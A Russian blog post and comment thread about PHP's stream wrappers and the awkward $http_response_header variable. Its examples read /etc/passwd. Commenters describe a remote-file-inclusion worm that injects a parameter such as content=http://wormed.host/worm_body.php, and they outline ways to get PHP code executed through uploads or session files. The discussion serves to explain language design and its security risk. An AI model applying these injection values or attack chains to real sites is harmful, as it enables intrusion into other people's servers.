ПХП: красавица и чудовище
Одна из превосходнейших вещей в ПХП — обработчики протоколов. Они позволяют работать с разнообразными источниками данных как с файлами. Встроенные протоколы умеют понимать ftp, http, data URL, ssh2, rar, zlib и ещё несколько менее известных штук. Т. е. традиционный путь до файла в ПХП на самом деле является УРЛом, по виду которого интерпретатор решает какой обработчик за него ответственен. Если протокол (в терминах УРЛ) не указан, считается, что идёт обращение к локальному файлу. Язык так же позволяет создавать свои обработчики.
ПХП единственный из известных мне языков, где я могу с лёгкостью сделать такие вещи:
copy('ftp://user:pass@example.org/pub/somefile.txt', '/tmp/somefile.txt');
$var = file_get_contents('https://example.org/index.html');
# и при этом
copy('/tmp/somefile', '/tmp/anotherfile.txt');
$var = file_get_contents('/etc/passwd');
Немного более сложный синтаксис позволяет сделать и более сложные вещи:
$post = http_build_query([
'login' => $login,
'pass' => $password,
]);
$options = [
'http' => [
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded\r\n'.
'Content-length: ' . strlen($post),
'content' => $post,
'proxy'=>"tcp://192.168.1.1:3128"
]
];
$result = file_get_contents('http://example.org/action.php', false, stream_context_create($options));
От полного изящества далеко, но по-прежнему проще, чем во многих других языках (особенно, в Пайтоне); можно даже с прокси работать!
Что сделано из рук вон плохо — это получение заголовков ответа для протоколов HTTP и HTTPS: ответ просто помещается в локальную переменную http_response_header, это печальное и достойное сожаления решение. Вообще-то в языке есть и альтернативы, но эта переменная всё равно будет создана.
Более неявное поведение трудно и выдумать. Оно настолько неявное, что многие о нём даже не подозревают. Ещё отвратительно, что эта переменная содержит заголовки не в виде ключ/значение, а просто набор строк:
file_get_contents('//bolknote.ru');
var_dump($http_response_header);
вернёт:
array(14) {
[0]=>
string(15) "HTTP/1.1 200 OK"
[1]=>
string(13) "Server: nginx"
[2]=>
string(35) "Date: Wed, 11 Jul 2012 19:50:10 GMT"
… и так далее
Как такой непродуманный функционал может являться продолжением такой прекрасной штуки мне непонятно.
В Objective-C в Foundation можно делать похожие вещи. Что там с новыми протоколами — не знаю, но все базовые классы (строка, списки, ассоциативные массивы, просто массив данных) — можно грузить прямо из интернета, например. А можно из локального файла. Правда, это синхронный доступ, который мало где тут можно применить (так как UI и все дела). Но удобно, да.
Насчёт того, что переменная содержит заголовки не в виде ключ/значение, а просто набор строк, дело, видимо, в том, что некоторые заголовки, такие как «Set-Cookie», в ответе могут повторяться, поэтому, если их проиндексировать по имени, все значения кроме последнего будут потеряны.
Комментарий для morozov.livejournal.com:
Решительно не вижу проблемы. Для этого придумали вложенные массивы.
Комментарий для bealex.moikrug.ru:
А с методами POST, PUT и другими как?
Мда уж, великий и могучий похапе )
На руби:
Андрей, тогда на php еще красивее:
А как в ruby data: или ssh: обработать?
Комментарий для Андрей:
Андрей, вы считаете, что на Руби это лучше сделано?
А потом приходи червь, находит на странице что-то типа content=dir/file.inc и делает запрос с content= http://wormed.host/worm_body.php и всем сразу становится нехорошо.
Конечно язык вроде бы и не виноват, но то, что открытие файла неявно (хотя и не настолько, насколько http_response_header) является и скачиванием файла по сети, может увеличить (и увеличивает) диаметр дыры с именем файла из параметра.
Комментарий для masterspammer.livejournal.com:
Ну, то есть чтение в таком случае файла с компьютера — это ерунда, а чтение из сети — дырища? И то и другое — дыра. Причём тут ПХП?
Комментарий для Евгения Степанищева:
Хм, а я через curl это делал потому что традиционно и работает везде примерно одинаково.
Комментарий для Евгения Степанищева:
Не ерунда, а просто дыра; из сети — действительно дырища: при возможности локального чтение (в данном случае — include) чтобы выполнить свой код, его как-то нужно туда положить, что сама по себе та ещё задача. При возможности указать http:// задача подсунуть свой код на выполнение существенно упрощается и даже автоматизируется (потому про червя и писал, что видел такое в живой природе).
А php тут ровно при том, что в нём (насколько я помню) открыть файл откуда угодно гораздо проще, чем открыть именно локальный файл; причём про то, что file_get_contents умеет ходить по сети, из его имени не следует. Программист, не знакомый с такой особенностью, может и не заподозрить что такая есть. То есть url_get_content было бы лучше.
rar_get_contents
ftp_get_contents
gzip_get_contents
https_get_contents
Комментарий для hshhhhh.name:
не, http: rar: ftp: gzip: https:// — входят в url как протокол
Комментарий для Евгения Степанищева:
bolk, я считаю, что наличие такой «красоты» в стдлибе — это маловолнующая штука. Ну т. е. я могу порадоваться ее наличию раз в пять лет при написании какого-нибудь тупого одноразового скриптика, но если ее не будет, то напишу сам, это switch простейший. При условии, что в зоне досягаемости инфраструктуры языка есть нормальные либы для работы с http / ftp / ssh etc. А вот стдлибовские библиотеки для этого дела, что в руби, что в питоне (про пхп, простите, молчу) дизайнят и реализуют какие-то извращенцы :)
Что касается «лучше сделано». Ну в open-uri нет ни строчки на сях, есть выделеный модуль для этого и небольшой монкей-патч метода open у Kernel, т. е. это все расширяемо. IO.copy_stream принимает любой IO-объект или путь до файла. Что мудачество, на самом деле, т.к, никакого дак-тайпинга нет, мог бы принимать и любые обекты с .read и .write. Иначе говоря, я думаю, что в руби это сделано гибче и лучше, но все равно хреново, но по причине описаной выше никаких особых эмоций это не вызывает :)
Комментарий для masterspammer.livejournal.com:
Это в документации к этой функции сказано. Если он ни разу не читал документации к этой функции, то пусть идёт мусор развозить.
Тоже мне задача. Если сайт позволяет хоть что-то закачивать, то можно закачать файл разрешённого типа, с ПХП-кодом внутри. Если нет — можно попытаться подключить что-то локальное с дырой, если этого нельзя сделать, можно попробовать положить что-то в сессию (на некоторых сайтах есть визарды, которые хранят промежуточные данные в сессии) и цепануть сессию из /tmp. Короче, не учите хакера сайты ломать.
Комментарий для Андрей:
Я же не поддержку кучи протоколов, а про простоту работы с ними. И я не понимаю почему это только для одноразовых скриптов. Неужели вы так редко пишите код, который в сеть лезет?
Комментарий для Евгения Степанищева:
Сказано, но можно и забыть, если не доводилось использовать. И про уровень программистов на PHP — вообще-то таких много, кому бы мусор развозить, многие вообще для себя пишут и некому их отправить мусор развозить. И ситуацию, при которой функция имеет много больше эффектов, чем следует из её названия, считаю провоцирующей на ошибку.
Ага, я тоже знаю, как что-то залить на сайт. Тут один способ сработает, там — другой, а где-то — ни одного — то есть нужна ещё другая дырка, чтоб эксплуатировать данную. Вот поэтому я и говорю про дыры разного диаметра.
Комментарий для masterspammer.livejournal.com:
Язык знать надо, на мой взгляд.
Можно подумать, что это только в ПХП так. Что из «файлов» в каталоге /dev/ на самом деле файлы? Линукс считает, что «всё — файлы».
И такое поведение файловых функций можно отключить, есть опция. Но такая универсальность мне всё равно симпатична.
Комментарий для Евгения Степанищева:
Евгений, у вас опечатка: «...функционал может являЕться...».
Заодно, зная ваше щепетильное отношение к русскому языку, хочу спросить: чем обосновано использование жаргонизма «функционал»?
Комментарий для Кирилл Зорин:
За опечатку спасибо! Я не вижу ничего страшного в применении жаргона в профессиональном тексте.
Комментарий для Евгения Степанищева:
Извините за офтоп. Ежели допустим язык с нуля изучить по-быстрому, то считаете РНР не так плох? А то на Хабре читал про него ужасы. И вообще непонятно что нужно кроме языка знать. В смысле чтобы веб-сайт сделать. HTML, CSS, что-то про базы данных? Конкретный веб-сайт имеется в виду, не абстрактно выучить непонятно для чего.
Комментарий для http://habrahabr.ru/users/vrus/topics/:
Если у вас это первый язык программирования, то смотря что вы собираетесь делать дальше. Если хотите, чтобы программирование стало вашей профессией, ни в коем случае не учите этот язык первым, если собираетесь один раз сляпать сайт и время от времени его поддерживать, выбирайте ПХП, конечно.
Если у вас простенький веб-сайт, посмотрите на Wordpress, можете сделать сайт на его основе. Если у вас какая-то более сложная задумка, то вам понадобится знание HTML, CSS и, например, MySQL.
Комментарий для Евгения Степанищева:
Опа. Спасиб, но вы меня озадачили. Язык первый, да, если Фортран немного не считать. Еще однажды изучил одну книжку про С++ и было интересно. Но не хочу чтоб программирование было моей профессией (да и поздно уже :) Однако фиг же его знает, что там ждет впереди. Вдруг стартапы не пойдут, неохота подрабатывать чернорабочим :) ОК, в таком случае какой посоветуете язык на случай более серьезного погружения в программирование, но таки оставаясь в рамках цели сделать сайт? Сайт не суперсложный, но и не совсем простой. Вордпрессы изучать неохота. Мне кажется это какие-то полумеры.
Комментарий для http://habrahabr.ru/users/vrus/topics/:
Если хотите учить хороший язык, но с целью сделать сайт, изучите Пайтон ( http://ru.wikipedia.org/wiki/Python )
Комментарий для Евгения Степанищева:
Благодарю! Наверно так и сделаю. Несмотря что он в последнем рейтинге языков почему-то падает.